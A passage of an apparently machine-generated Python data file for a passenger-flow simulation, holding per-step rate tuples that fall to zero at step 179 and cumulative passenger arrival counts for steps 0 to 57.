(17.820920558239397, 15.56569593787336, 17.265605709876546, 20.52001056763285, 19.733750907770517, 10.797702331961592, 11.95225732268216, 11.749485596707821, 20.260974794238685, 11.526468167513919, 13.522076023391813, 15.646729478016026, 17.70274402006173), # 95
(17.76883768115942, 15.485987096774197, 17.23295416666667, 20.468457065217393, 19.701421568627453, 10.77134074074074, 11.899566760037347, 11.701377777777779, 20.221586111111108, 11.485790326797385, 13.4679, 15.602888888888891, 17.67033854166667), # 96
(17.716090069779927, 15.406114814814819, 17.199958179012345, 20.416412258454105, 19.668569353667394, 10.744801371742112, 11.846741743611025, 11.65398106995885, 20.182041872427984, 11.445006516581941, 13.413501967038808, 15.558736408923545, 17.637446952160495), # 97
(17.66276017176597, 15.326116367980884, 17.166625154320986, 20.363913828502415, 19.635237835875095, 10.718136899862827, 11.793801362520316, 11.607315226337448, 20.142376646090533, 11.404117666424595, 13.35895975544923, 15.514292830842535, 17.604115547839505), # 98
(17.608930434782607, 15.246029032258065, 17.1329625, 20.31099945652174, 19.601470588235298, 10.6914, 11.740764705882354, 11.5614, 20.102625, 11.363124705882353, 13.304351196172249, 15.469578947368422, 17.570390625), # 99
(17.5546833064949, 15.165890083632016, 17.09897762345679, 20.257706823671498, 19.567311183732752, 10.664643347050754, 11.687650862814262, 11.516255144032922, 20.062821502057616, 11.322028564512225, 13.249754120148857, 15.42461555122374, 17.536318479938274), # 100
(17.500101234567904, 15.085736798088412, 17.064677932098768, 20.204073611111113, 19.532803195352216, 10.637919615912208, 11.634478922433171, 11.471900411522633, 20.02300072016461, 11.280830171871218, 13.195246358320043, 15.379423435131034, 17.501945408950615), # 101
(17.44526666666667, 15.005606451612904, 17.030070833333333, 20.1501375, 19.497990196078433, 10.611281481481482, 11.58126797385621, 11.428355555555555, 19.98319722222222, 11.239530457516341, 13.140905741626794, 15.334023391812867, 17.467317708333336), # 102
(17.390262050456254, 14.92553632019116, 16.9951637345679, 20.095936171497584, 19.462915758896152, 10.584781618655693, 11.528037106200506, 11.385640329218107, 19.943445576131687, 11.1981303510046, 13.086810101010101, 15.28843621399177, 17.432481674382714), # 103
(17.335169833601718, 14.845563679808842, 16.959964043209876, 20.041507306763286, 19.427623456790123, 10.558472702331962, 11.474805408583187, 11.343774485596708, 19.90378034979424, 11.156630781893005, 13.03303726741095, 15.242682694390297, 17.397483603395063), # 104
(17.280072463768114, 14.765725806451613, 16.924479166666668, 19.98688858695652, 19.392156862745097, 10.532407407407408, 11.421591970121383, 11.302777777777779, 19.86423611111111, 11.115032679738563, 12.979665071770334, 15.196783625730996, 17.362369791666666), # 105
(17.225052388620504, 14.686059976105138, 16.888716512345678, 19.932117693236716, 19.356559549745825, 10.50663840877915, 11.36841587993222, 11.262669958847736, 19.82484742798354, 11.07333697409828, 12.92677134502924, 15.15075980073641, 17.327186535493826), # 106
(17.17019205582394, 14.606603464755079, 16.852683487654325, 19.877232306763286, 19.32087509077705, 10.48121838134431, 11.31529622713283, 11.223470781893006, 19.78564886831276, 11.03154459452917, 12.874433918128654, 15.104632012129088, 17.29198013117284), # 107
(17.11557391304348, 14.5273935483871, 16.8163875, 19.822270108695655, 19.28514705882353, 10.4562, 11.262252100840335, 11.185200000000002, 19.746675000000003, 10.989656470588237, 12.82273062200957, 15.05842105263158, 17.256796875000003), # 108
(17.061280407944178, 14.448467502986858, 16.779835956790127, 19.767268780193234, 19.249419026870008, 10.431635939643346, 11.209302590171871, 11.147877366255145, 19.707960390946504, 10.947673531832486, 12.771739287612972, 15.012147714966428, 17.221683063271605), # 109
(17.007393988191087, 14.369862604540026, 16.743036265432103, 19.71226600241546, 19.213734567901238, 10.407578875171467, 11.15646678424456, 11.111522633744855, 19.669539609053498, 10.90559670781893, 12.72153774587985, 14.965832791856185, 17.18668499228395), # 110
(16.953997101449275, 14.29161612903226, 16.705995833333336, 19.65729945652174, 19.178137254901962, 10.384081481481482, 11.103763772175537, 11.076155555555555, 19.631447222222224, 10.863426928104575, 12.672203827751195, 14.919497076023394, 17.151848958333336), # 111
(16.90117219538379, 14.213765352449222, 16.66872206790124, 19.602406823671497, 19.142670660856936, 10.361196433470509, 11.051212643081925, 11.041795884773663, 19.593717798353907, 10.821165122246429, 12.623815364167996, 14.873161360190599, 17.11722125771605), # 112
(16.84890760266548, 14.136477513814715, 16.631312090853726, 19.547700988485673, 19.10731622431267, 10.338965584586125, 10.998946734582185, 11.00853462380509, 19.556483060265517, 10.778948525902914, 12.57646303107516, 14.826947285707972, 17.0827990215178), # 113
(16.796665616220118, 14.060514930345965, 16.594282215038913, 19.493620958299207, 19.071708038219388, 10.317338295353823, 10.947632775139043, 10.976780267109216, 19.52031426428351, 10.73756730224301, 12.530239806803754, 14.781441909803354, 17.048295745488062), # 114
(16.744292825407193, 13.985904957629483, 16.55765447887317, 19.440152109327204, 19.035733820199482, 10.296258322497776, 10.89730737034481, 10.946524777701677, 19.485224961603823, 10.697085590378538, 12.485078120568769, 14.736667648605932, 17.013611936988678), # 115
(16.691723771827743, 13.912538906325063, 16.521357941970972, 19.38719907047953, 18.999339347490803, 10.275675979116777, 10.847888671550209, 10.917684563218188, 19.451126410610094, 10.657428045209185, 12.440890676288666, 14.692541755477222, 16.978693067560602), # 116
(16.63889299708279, 13.840308087092497, 16.485321663946774, 19.33466647066604, 18.9624703973312, 10.255541578309604, 10.799294830105955, 10.890176031294454, 19.417929869685967, 10.618519321634633, 12.39759017788191, 14.64898148377875, 16.943484608744804), # 117
(16.58573504277338, 13.769103810591583, 16.44947470441506, 19.2824589387966, 18.925072746958516, 10.235805433175049, 10.751443997362767, 10.863915589566174, 19.385546597215082, 10.580284074554568, 12.355089329266963, 14.60590408687203, 16.907932032082243), # 118
(16.532184450500534, 13.698817387482112, 16.413746122990304, 19.23048110378107, 18.887092173610597, 10.2164178568119, 10.70425432467136, 10.838819645669062, 19.353887851581078, 10.54264695886867, 12.31330083436229, 14.563226818118581, 16.87198080911388), # 119
(16.47817576186529, 13.629340128423884, 16.37806497928697, 19.17863759452931, 18.848474454525295, 10.197329162318939, 10.657643963382455, 10.814804607238818, 19.322864891167605, 10.50553262947663, 12.272137397086349, 14.520866930879935, 16.835576411380675), # 120
(16.423643518468683, 13.560563344076693, 16.342360332919537, 19.12683303995118, 18.809165366940455, 10.178489662794956, 10.611531064846766, 10.791786881911152, 19.2923889743583, 10.468865741278133, 12.23151172135761, 14.4787416785176, 16.79866431042359), # 121
(16.36852226191174, 13.49237834510033, 16.30656124350248, 19.07497206895654, 18.76911068809392, 10.159849671338735, 10.565833780415012, 10.769682877321769, 19.2623713595368, 10.43257094917286, 12.191336511094532, 14.436768314393102, 16.761189977783587), # 122
(16.312746533795494, 13.424676442154594, 16.270596770650265, 19.02295931045525, 18.728256195223544, 10.141359501049065, 10.52047026143791, 10.74840900110637, 19.232723305086758, 10.396572908060497, 12.151524470215579, 14.394864091867959, 16.72309888500163), # 123
(16.256250875720976, 13.357348945899277, 16.234395973977367, 18.970699393357176, 18.68654766556717, 10.12296946502473, 10.475358659266176, 10.727881660900668, 19.20335606939181, 10.36079627284073, 12.111988302639215, 14.352946264303695, 16.68433650361868), # 124
(16.198969829289226, 13.290287166994178, 16.197887913098263, 18.91809694657217, 18.643930876362642, 10.104629876364521, 10.43041712525053, 10.708017264340365, 19.174180910835588, 10.32516569841324, 12.072640712283903, 14.310932085061827, 16.644848305175692), # 125
(16.14083793610127, 13.22338241609909, 16.16100164762742, 18.8650565990101, 18.60035160484781, 10.086291048167222, 10.385563810741687, 10.688732219061166, 19.145109087801753, 10.289605839677717, 12.033394403068103, 14.268738807503881, 16.604579761213643), # 126
(16.08178973775815, 13.156526003873804, 16.123666237179307, 18.81148297958082, 18.555755628260517, 10.067903293531618, 10.34071686709037, 10.669942932698781, 19.116051858673934, 10.254041351533843, 11.994162078910282, 14.226283684991369, 16.56347634327348), # 127
(16.021759775860883, 13.089609240978122, 16.08581074136841, 18.7572807171942, 18.51008872383862, 10.0494169255565, 10.295794445647289, 10.651565812888913, 19.086920481835772, 10.218396888881303, 11.954856443728904, 14.183483970885819, 16.521483522896165), # 128
(15.960682592010507, 13.022523438071834, 16.047364219809193, 18.702354440760086, 18.46329666881996, 10.03078225734065, 10.250714697763163, 10.633517267267269, 19.057626215670915, 10.182597106619781, 11.915390201442428, 14.140256918548745, 16.478546771622668), # 129
(15.89849272780806, 12.955159905814739, 16.008255732116123, 18.646608779188355, 18.415325240442385, 10.011949601982854, 10.205395774788713, 10.61571370346955, 19.028080318563003, 10.146566659648963, 11.87567605596932, 14.096519781341675, 16.434611560993947), # 130
(15.83512472485457, 12.887409954866628, 15.968414337903685, 18.589948361388856, 18.36612021594374, 9.992869272581904, 10.159755828074656, 10.59807152913147, 18.998194048895677, 10.110230202868534, 11.835626711228041, 14.052189812626125, 16.38962336255096), # 131
(15.770513124751067, 12.8191648958873, 15.927769096786342, 18.532277816271456, 18.315627372561877, 9.973491582236585, 10.113713008971706, 10.580507151888732, 18.967878665052577, 10.073512391178177, 11.795154871137056, 14.007184265763614, 16.343527647834676), # 132
(15.704592469098595, 12.750316039536544, 15.88624906837857, 18.473501772746012, 18.263792487534637, 9.95376684404568, 10.06718546883058, 10.562936979377039, 18.93704542541735, 10.036337879477578, 11.754173239614829, 13.961420394115667, 16.296269888386057), # 133
(15.63729729949817, 12.68075469647416, 15.843783312294848, 18.413524859722386, 18.210561338099865, 9.933645371107978, 10.020091359002002, 10.545277419232098, 18.905605588373632, 9.998631322666423, 11.712594520579822, 13.914815451043799, 16.24779555574605), # 134
(15.568562157550836, 12.610372177359944, 15.800300888149636, 18.352251706110444, 18.15587970149542, 9.913077476522266, 9.972348830836681, 10.527444879089616, 18.873470412305064, 9.960317375644397, 11.670331417950496, 13.867286689909534, 16.198050121455637), # 135
(15.498321584857623, 12.539059792853687, 15.755730855557415, 18.28958694082003, 18.09969335495913, 9.892013473387332, 9.923876035685343, 10.509355766585298, 18.840551155595293, 9.92132069331118, 11.627296635645319, 13.818751364074394, 16.146979057055766), # 136
(15.426510123019561, 12.466708853615184, 15.710002274132659, 18.225435192761026, 18.04194807572886, 9.870403674801956, 9.8745911248987, 10.490926489354854, 18.80675907662796, 9.881565930566463, 11.583402877582751, 13.769126726899895, 16.094527834087398), # 137
(15.353062313637686, 12.393210670304235, 15.66304420348983, 18.159701090843274, 17.982589641042455, 9.848198393864935, 9.824412249827468, 10.472073455033982, 18.772005433786706, 9.840977742309924, 11.538562847681254, 13.718330031747561, 16.040641924091503), # 138
(15.277912698313022, 12.31845655358063, 15.614785703243411, 18.092289263976646, 17.921563828137746, 9.825347943675048, 9.773257561822367, 10.452713071258394, 18.73620148545517, 9.799480783441254, 11.492689249859293, 13.66627853197891, 15.985266798609034), # 139
(15.200995818646616, 12.242337814104165, 15.565155833007877, 18.023104341071, 17.858816414252605, 9.801802637331082, 9.721045212234115, 10.432761745663793, 18.699258490016998, 9.756999708860134, 11.445694788035329, 13.612889480955465, 15.928347929180966), # 140
(15.122246216239494, 12.164745762534638, 15.514083652397689, 17.952050951036195, 17.794293176624855, 9.777512787931828, 9.667693352413432, 10.412135885885887, 18.661087705855824, 9.713459173466253, 11.39749216612783, 13.558080132038745, 15.869830787348244), # 141
(15.041598432692682, 12.08557170953184, 15.461498221027327, 17.879033722782097, 17.727939892492355, 9.752428708576069, 9.613120133711027, 10.39075189956038, 18.621600391355297, 9.66878383215929, 11.347994088055255, 13.50176773859027, 15.80966084465184), # 142
(14.958987009607215, 12.004706965755565, 15.407328598511267, 17.803957285218555, 17.659702339092952, 9.726500712362592, 9.557243707477623, 10.368526194322978, 18.580707804899063, 9.622898339838935, 11.297113257736068, 13.443869553971561, 15.747783572632711), # 143
(14.874346488584132, 11.922042841865615, 15.35150384446397, 17.72672626725544, 17.58952629366449, 9.699679112390184, 9.499982225063938, 10.34537517780939, 18.53832120487076, 9.575727351404868, 11.244762379088732, 13.384302831544138, 15.684144442831826), # 144
(14.787611411224459, 11.837470648521778, 15.29395301849992, 17.64724529780261, 17.51735753344482, 9.671914221757634, 9.441253837820689, 10.321215257655316, 18.494351849654016, 9.527195521756779, 11.190854156031712, 13.322984824669524, 15.618688926790139), # 145
(14.69871631912923, 11.750881696383855, 15.23460518023359, 17.565419005769925, 17.443141835671785, 9.643156353563725, 9.380976697098594, 10.295962841496468, 18.448710997632492, 9.477227505794348, 11.135301292483467, 13.259832786709236, 15.551362496048613), # 146
(14.607595753899481, 11.662167296111635, 15.173389389279437, 17.481152020067245, 17.36682497758323, 9.613355820907245, 9.319068954248365, 10.269534336968547, 18.401309907189823, 9.425747958417263, 11.078016492362465, 13.194763971024798, 15.482110622148213), # 147
(14.51418425713624, 11.571218758364918, 15.11023470525195, 17.394348969604433, 17.28835273641701, 9.582462936886982, 9.255448760620729, 10.241846151707264, 18.352059836709653, 9.372681534525205, 11.018912459587169, 13.127695630977726, 15.410878776629895), # 148
(14.418416370440541, 11.477927393803494, 15.045070187765598, 17.304914483291345, 17.207670889410966, 9.550428014601719, 9.190034267566393, 10.21281469334832, 18.30087204457561, 9.317952889017864, 10.957901898076038, 13.058545019929545, 15.337612431034628), # 149
(14.320226635413416, 11.382184513087163, 14.97782489643485, 17.212753190037848, 17.124725213802947, 9.517201367150248, 9.122743626436081, 10.182356369527422, 18.247657789171353, 9.261486676794918, 10.894897511747537, 12.987229391241772, 15.262257056903364), # 150
(14.219549593655895, 11.283881426875716, 14.908427890874176, 17.117769718753795, 17.0394614868308, 9.48273330763135, 9.05349498858051, 10.150387587880278, 18.19232832888052, 9.20320755275606, 10.829812004520129, 12.91366599827593, 15.184758125777073), # 151
(14.116319786769019, 11.182909445828951, 14.836808230698063, 17.019868698349054, 16.951825485732364, 9.446974149143815, 8.982206505350396, 10.116824756042595, 18.134794922086748, 9.143040171800969, 10.762558080312278, 12.837772094393538, 15.105061109196717), # 152
(14.010471756353809, 11.079159880606662, 14.762894975520963, 16.91895475773348, 16.8617629877455, 9.409874204786428, 8.908796328096455, 10.081584281650072, 18.07496882717368, 9.080909188829333, 10.693048443042448, 12.759464932956115, 15.02311147870325), # 153
(13.901940044011312, 10.972524041868644, 14.686617184957365, 16.81493252581694, 16.769219770108045, 9.371383787657978, 8.83318260816941, 10.044582572338422, 18.01276130252496, 9.016739258740834, 10.6211957966291, 12.678661767325185, 14.938854705837642), # 154
(13.790659191342543, 10.86289324027469, 14.607903918621735, 16.707706631509282, 16.674141610057855, 9.331453210857248, 8.75528349691997, 10.005736035743345, 17.948083606524232, 8.950455036435159, 10.5469128449907, 12.595279850862267, 14.852236262140847), # 155
(13.676563739948545, 10.750158786484597, 14.526684236128547, 16.597181703720377, 16.576474284832766, 9.29003278748303, 8.67501714569886, 9.964961079500554, 17.88084699755513, 8.88198117681199, 10.470112292045709, 12.50923643692888, 14.763201619153833), # 156
(13.559588231430352, 10.634211991158162, 14.442887197092272, 16.483262371360087, 16.476163571670632, 9.247072830634105, 8.592301705856794, 9.922174111245749, 17.8109627340013, 8.811242334771014, 10.39070684171259, 12.420448778886547, 14.671696248417557), # 157
(13.43642570352943, 10.512815617390064, 14.352465517024239, 16.36158524697224, 16.368625990567796, 9.199844057370798, 8.505192097670143, 9.87443451422887, 17.732991764878374, 8.73605864932406, 10.306072354570096, 12.32567921554981, 14.573674546947622), # 158
(13.288116180561124, 10.37351757527906, 14.232128073125379, 16.207158885819215, 16.22734435760693, 9.132641366412786, 8.40278297409429, 9.804984358975888, 17.61556907019986, 8.644105789377742, 10.20135048411419, 12.206452542629595, 14.445769764456351), # 159
(13.112769770827757, 10.215174111373285, 14.0794577243206, 16.017439518735948, 16.04955623642423, 9.043814332885832, 8.284038747090811, 9.712078541149223, 17.455365409011574, 8.534170173353209, 10.075067115497172, 12.060903507998123, 14.285557096008445), # 160
(12.911799698254727, 10.038817562544844, 13.896084549438555, 15.79423050676211, 15.837107623707803, 8.934439034826566, 8.149826602812377, 9.596880959597605, 17.254493580598233, 8.407184747707687, 9.928334978279473, 11.890381444033627, 14.094673280674375), # 161
(12.686619186767443, 9.84548026566583, 13.683638627307893, 15.539335210937388, 15.591844516145768, 8.80559155027162, 8.001013727411657, 9.460555513169764, 17.015066384244545, 8.264082458898416, 9.762266802021516, 11.696235683114327, 13.874755057524599), # 162
(12.438641460291295, 9.636194557608343, 13.443750036757264, 15.254556992301481, 15.315612910426239, 8.65834795725763, 7.838467307041322, 9.304266100714425, 16.73919661923523, 8.105796253382625, 9.577975316283736, 11.479815557618458, 13.627439165629584), # 163
(12.16927974275169, 9.411992775244478, 13.178048856615318, 14.941699211894072, 15.01025880323734, 8.493784333821234, 7.663054527854039, 9.129176621080324, 16.428997084855002, 7.933259077617543, 9.376573250626553, 11.242470399924246, 13.35436234405979), # 164
(11.879947258074031, 9.173907255446338, 12.888165165710705, 14.602565230754854, 14.677628191267182, 8.312976757999055, 7.475642576002479, 8.936450973116184, 16.086580580388564, 7.747403878060404, 9.1591733346104, 10.985549542409915, 13.057161331885686), # 165
(11.572057230183715, 8.922970335086019, 12.57572904287207, 14.238958409923503, 14.319567071203886, 8.117001307827735, 7.277098637639315, 8.727253055670738, 15.714059905120632, 7.549163601168441, 8.926888297795703, 10.710402317453703, 12.737472868177733), # 166
(11.24702288300614, 8.660214351035616, 12.242370566928068, 13.852682110439718, 13.937921439735565, 7.906934061343905, 7.0682898989172145, 8.502746767592717, 15.31354785833592, 7.339471193398886, 8.680830869742888, 10.418378057433825, 12.396933692006392), # 167
(10.906257440466712, 8.386671640167231, 11.889719816707347, 13.445539693343184, 13.534537293550335, 7.683851096584198, 6.850083545988848, 8.264096007730847, 14.887157239319139, 7.11925960120897, 8.422113780012385, 10.11082609472852, 12.037180542442131), # 168
(10.551174126490828, 8.103374539352963, 11.519406871038555, 13.019334519673588, 13.111260629336316, 7.4488284915852505, 6.623346765006885, 8.012464674933861, 14.437000847355009, 6.889461771055926, 8.151849758164623, 9.78909576171601, 11.659850158555415), # 169
(10.18318616500389, 7.811355385464907, 11.133061808750343, 12.575869950470615, 12.66993744378162, 7.2029423243836925, 6.388946742123995, 7.749016668050485, 13.96519148172823, 6.6510106493969845, 7.871151533760029, 9.454536390774527, 11.2665792794167), # 170
(9.8037067799313, 7.511646515375161, 10.73231470867136, 12.116949346773964, 12.21241373357437, 6.947268673016157, 6.147750663492849, 7.47491588592945, 13.47384194172352, 6.404839182689379, 7.581131836359027, 9.108497314282296, 10.859004644096458), # 171
(9.414149195198457, 7.205280265955825, 10.318795649630257, 11.644376069623315, 11.740535495402677, 6.682883615519281, 5.900625715266118, 7.191326227419487, 12.965065026625595, 6.151880317390344, 7.282903395522049, 8.752327864617548, 10.438762991665145), # 172
(9.015926634730764, 6.893288974078996, 9.894134710455681, 11.159953480058356, 11.256148725954663, 6.410863229929695, 5.64843908359647, 6.899411591369322, 12.440973535719161, 5.893066999957107, 6.97757894080952, 8.387377374158506, 10.007491061193234), # 173
(8.610452322453618, 6.576704976616772, 9.459961969976282, 10.665484939118773, 10.76109942191844, 6.132283594284034, 5.3920579546365754, 6.600335876627689, 11.903680268288936, 5.629332176846904, 6.66627120178187, 8.014995175283403, 9.566825591751181), # 174
(8.19913948229242, 6.256560610441251, 9.017907507020714, 10.162773807844262, 10.257233579982124, 5.848220786618931, 5.132349514539104, 6.295262982043313, 11.35529802361963, 5.361608794516964, 6.3500929079995245, 7.636530600370466, 9.118403322409455), # 175
(7.783401338172574, 5.933888212424531, 8.569601400417621, 9.653623447274505, 9.746397196833835, 5.55975088497102, 4.870180949456727, 5.985356806464928, 10.797939600995955, 5.090829799424521, 6.0301567890229135, 7.253332981797922, 8.663860992238513), # 176
(7.364651114019479, 5.6097201194387125, 8.116673728995655, 9.13983721844919, 9.230436269161691, 5.267949967376934, 4.606419445542112, 5.671781248741259, 10.233717799702626, 4.817928138026804, 5.7075755744124645, 6.866751651944002, 8.204835340308824), # 177
(6.944302033758534, 5.285088668355891, 7.660754571583465, 8.623218482408008, 8.711196793653805, 4.973894111873309, 4.341932188947932, 5.355700207721038, 9.664745419024355, 4.54383675678105, 5.383461993728603, 6.478135943186929, 7.742963105690853), # 178
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 179
)
passenger_arriving_acc = (
(6, 8, 12, 6, 7, 5, 6, 1, 4, 0, 1, 2, 0, 14, 9, 4, 3, 9, 4, 3, 1, 7, 3, 5, 0, 0), # 0
(12, 23, 18, 21, 14, 11, 8, 6, 7, 0, 2, 5, 0, 22, 17, 9, 10, 15, 10, 10, 6, 11, 5, 7, 1, 0), # 1
(22, 30, 27, 29, 22, 17, 13, 14, 10, 4, 2, 7, 0, 29, 34, 12, 19, 25, 17, 12, 8, 14, 12, 7, 2, 0), # 2
(28, 38, 38, 38, 28, 20, 18, 19, 15, 9, 5, 12, 0, 40, 48, 23, 23, 38, 22, 15, 14, 16, 19, 9, 4, 0), # 3
(41, 52, 49, 50, 37, 26, 26, 24, 21, 11, 8, 12, 0, 50, 63, 34, 31, 45, 31, 18, 15, 17, 21, 12, 4, 0), # 4
(52, 64, 67, 68, 45, 33, 29, 27, 28, 17, 10, 16, 0, 64, 71, 41, 35, 57, 40, 26, 16, 22, 25, 15, 4, 0), # 5
(62, 77, 76, 83, 51, 38, 34, 38, 34, 20, 14, 18, 0, 77, 78, 50, 41, 66, 45, 33, 18, 26, 26, 17, 4, 0), # 6
(78, 91, 91, 93, 61, 44, 36, 44, 42, 22, 15, 18, 0, 100, 84, 68, 48, 83, 50, 42, 24, 35, 30, 19, 6, 0), # 7
(102, 102, 99, 107, 73, 52, 43, 47, 49, 25, 17, 18, 0, 112, 99, 79, 52, 97, 53, 46, 26, 40, 35, 22, 10, 0), # 8
(121, 122, 115, 116, 79, 57, 51, 50, 53, 28, 18, 20, 0, 123, 117, 86, 56, 109, 62, 47, 28, 47, 38, 23, 13, 0), # 9
(142, 143, 130, 135, 86, 66, 60, 57, 58, 29, 21, 23, 0, 137, 132, 95, 62, 124, 68, 57, 30, 51, 47, 26, 15, 0), # 10
(158, 157, 139, 152, 94, 72, 62, 62, 65, 32, 25, 25, 0, 150, 151, 102, 69, 135, 75, 62, 34, 53, 53, 32, 15, 0), # 11
(172, 175, 158, 172, 106, 78, 68, 64, 69, 33, 27, 26, 0, 165, 168, 117, 81, 141, 83, 71, 39, 59, 59, 34, 19, 0), # 12
(184, 189, 176, 185, 123, 84, 73, 67, 79, 34, 28, 27, 0, 184, 182, 129, 94, 153, 90, 75, 43, 65, 64, 35, 20, 0), # 13
(197, 205, 188, 195, 145, 87, 77, 77, 89, 37, 33, 28, 0, 197, 201, 136, 110, 165, 96, 78, 49, 68, 67, 38, 23, 0), # 14
(218, 218, 202, 217, 156, 92, 81, 82, 97, 40, 34, 29, 0, 208, 230, 147, 120, 184, 100, 85, 53, 76, 72, 42, 23, 0), # 15
(231, 235, 217, 229, 166, 99, 91, 85, 106, 44, 36, 30, 0, 232, 246, 156, 129, 197, 109, 92, 57, 85, 76, 46, 24, 0), # 16
(254, 248, 230, 242, 180, 107, 96, 94, 114, 49, 39, 32, 0, 249, 263, 166, 140, 206, 117, 99, 61, 90, 81, 48, 27, 0), # 17
(270, 260, 244, 255, 190, 112, 101, 101, 121, 50, 42, 36, 0, 271, 284, 176, 149, 215, 126, 105, 68, 98, 85, 49, 28, 0), # 18
(292, 273, 261, 267, 198, 121, 107, 106, 129, 52, 44, 39, 0, 288, 298, 186, 163, 232, 135, 111, 72, 107, 90, 53, 32, 0), # 19
(306, 289, 269, 285, 216, 127, 119, 116, 136, 53, 46, 40, 0, 305, 313, 205, 173, 255, 138, 119, 75, 115, 100, 54, 32, 0), # 20
(320, 301, 292, 299, 232, 130, 129, 122, 145, 54, 49, 41, 0, 325, 328, 217, 189, 267, 147, 126, 84, 124, 106, 56, 36, 0), # 21
(338, 322, 308, 316, 243, 135, 136, 131, 148, 58, 50, 43, 0, 340, 348, 229, 195, 279, 156, 141, 86, 131, 112, 59, 38, 0), # 22
(353, 337, 325, 332, 252, 143, 147, 138, 156, 65, 52, 46, 0, 355, 367, 242, 206, 296, 162, 152, 91, 136, 116, 61, 41, 0), # 23
(367, 353, 341, 352, 263, 149, 154, 142, 164, 67, 53, 48, 0, 374, 375, 254, 215, 303, 176, 163, 96, 143, 120, 64, 45, 0), # 24
(382, 373, 352, 380, 279, 152, 157, 147, 172, 69, 53, 50, 0, 394, 401, 269, 225, 315, 183, 172, 99, 149, 126, 67, 48, 0), # 25
(399, 397, 374, 402, 294, 155, 164, 151, 175, 74, 54, 53, 0, 415, 418, 282, 238, 326, 193, 176, 103, 153, 130, 71, 52, 0), # 26
(419, 422, 386, 413, 305, 162, 172, 152, 186, 79, 56, 55, 0, 430, 440, 292, 242, 342, 202, 185, 107, 163, 134, 73, 53, 0), # 27
(438, 439, 409, 435, 313, 166, 178, 164, 195, 81, 63, 59, 0, 443, 457, 305, 251, 364, 210, 195, 109, 169, 141, 78, 53, 0), # 28
(462, 460, 422, 448, 329, 171, 186, 173, 202, 86, 65, 59, 0, 469, 469, 321, 261, 377, 221, 201, 114, 178, 144, 80, 55, 0), # 29
(479, 480, 436, 461, 340, 173, 190, 184, 213, 93, 69, 62, 0, 482, 487, 338, 270, 395, 230, 208, 120, 184, 152, 85, 55, 0), # 30
(500, 498, 452, 490, 356, 175, 200, 191, 222, 94, 69, 62, 0, 503, 506, 352, 279, 407, 241, 215, 125, 188, 158, 89, 58, 0), # 31
(524, 515, 468, 503, 373, 185, 209, 198, 225, 95, 72, 67, 0, 524, 524, 361, 291, 424, 250, 219, 129, 195, 165, 92, 61, 0), # 32
(539, 529, 485, 518, 383, 189, 218, 208, 237, 98, 76, 71, 0, 537, 538, 371, 300, 440, 266, 228, 132, 201, 174, 95, 61, 0), # 33
(558, 549, 499, 541, 397, 198, 226, 215, 245, 102, 80, 71, 0, 554, 545, 383, 312, 460, 272, 236, 139, 211, 182, 97, 62, 0), # 34
(572, 561, 512, 560, 412, 205, 235, 222, 251, 108, 82, 73, 0, 572, 552, 395, 323, 468, 287, 245, 144, 218, 184, 100, 62, 0), # 35
(589, 580, 534, 580, 424, 208, 241, 226, 262, 111, 83, 75, 0, 581, 561, 403, 331, 481, 293, 247, 146, 229, 185, 103, 64, 0), # 36
(604, 603, 547, 600, 437, 212, 250, 232, 272, 113, 84, 77, 0, 600, 582, 417, 337, 492, 298, 253, 154, 231, 193, 105, 65, 0), # 37
(617, 624, 565, 616, 444, 216, 258, 239, 277, 117, 85, 77, 0, 619, 594, 432, 342, 508, 307, 258, 158, 236, 200, 107, 65, 0), # 38
(635, 644, 577, 628, 455, 223, 261, 245, 281, 119, 88, 77, 0, 638, 614, 441, 351, 524, 321, 262, 165, 246, 209, 110, 68, 0), # 39
(651, 660, 591, 651, 462, 228, 268, 255, 292, 121, 90, 80, 0, 663, 632, 455, 355, 550, 328, 268, 169, 252, 220, 114, 74, 0), # 40
(665, 675, 609, 675, 478, 232, 271, 260, 300, 125, 94, 82, 0, 684, 647, 464, 370, 560, 335, 272, 172, 255, 222, 115, 75, 0), # 41
(681, 690, 618, 694, 488, 236, 276, 266, 312, 129, 95, 85, 0, 701, 662, 481, 382, 572, 342, 279, 179, 262, 225, 117, 78, 0), # 42
(697, 714, 641, 712, 505, 243, 284, 273, 323, 132, 97, 88, 0, 716, 677, 488, 397, 582, 352, 284, 185, 266, 231, 120, 80, 0), # 43
(715, 733, 658, 729, 510, 247, 285, 277, 331, 136, 100, 90, 0, 735, 698, 496, 414, 599, 356, 289, 188, 270, 241, 123, 80, 0), # 44
(734, 750, 672, 746, 523, 260, 291, 284, 341, 140, 106, 90, 0, 754, 716, 512, 421, 616, 364, 293, 193, 278, 248, 125, 83, 0), # 45
(747, 766, 686, 764, 534, 267, 296, 290, 345, 144, 108, 90, 0, 767, 728, 528, 435, 633, 371, 300, 199, 282, 254, 127, 84, 0), # 46
(767, 782, 703, 780, 546, 277, 303, 297, 352, 147, 111, 90, 0, 784, 747, 541, 441, 647, 381, 311, 201, 291, 256, 128, 86, 0), # 47
(789, 799, 719, 796, 566, 280, 313, 304, 365, 150, 111, 91, 0, 799, 768, 559, 448, 657, 389, 320, 204, 293, 261, 131, 87, 0), # 48
(808, 811, 739, 807, 575, 288, 324, 315, 371, 154, 112, 95, 0, 812, 785, 574, 456, 670, 401, 329, 212, 301, 265, 135, 89, 0), # 49
(826, 828, 762, 820, 591, 298, 331, 317, 380, 155, 116, 95, 0, 831, 803, 593, 466, 679, 412, 336, 216, 308, 267, 139, 91, 0), # 50
(850, 838, 776, 834, 601, 302, 338, 324, 386, 161, 118, 97, 0, 848, 823, 606, 473, 698, 423, 341, 219, 315, 274, 145, 91, 0), # 51
(870, 858, 787, 848, 611, 305, 346, 333, 390, 164, 121, 98, 0, 865, 840, 620, 484, 705, 429, 347, 222, 319, 281, 148, 93, 0), # 52
(892, 881, 798, 863, 627, 309, 351, 339, 394, 168, 123, 98, 0, 887, 859, 629, 494, 724, 436, 351, 226, 329, 287, 153, 93, 0), # 53
(910, 900, 815, 887, 642, 316, 357, 344, 403, 171, 124, 101, 0, 910, 870, 640, 502, 734, 450, 355, 232, 333, 291, 157, 93, 0), # 54
(925, 921, 830, 903, 656, 319, 365, 352, 407, 175, 128, 101, 0, 938, 887, 654, 511, 742, 460, 360, 237, 340, 295, 160, 93, 0), # 55
(941, 938, 846, 916, 665, 324, 375, 356, 411, 181, 128, 104, 0, 957, 901, 665, 519, 751, 465, 366, 241, 348, 301, 166, 94, 0), # 56
(961, 958, 851, 936, 677, 333, 383, 363, 416, 185, 129, 107, 0, 972, 913, 679, 526, 768, 473, 373, 245, 354, 305, 168, 97, 0), # 57
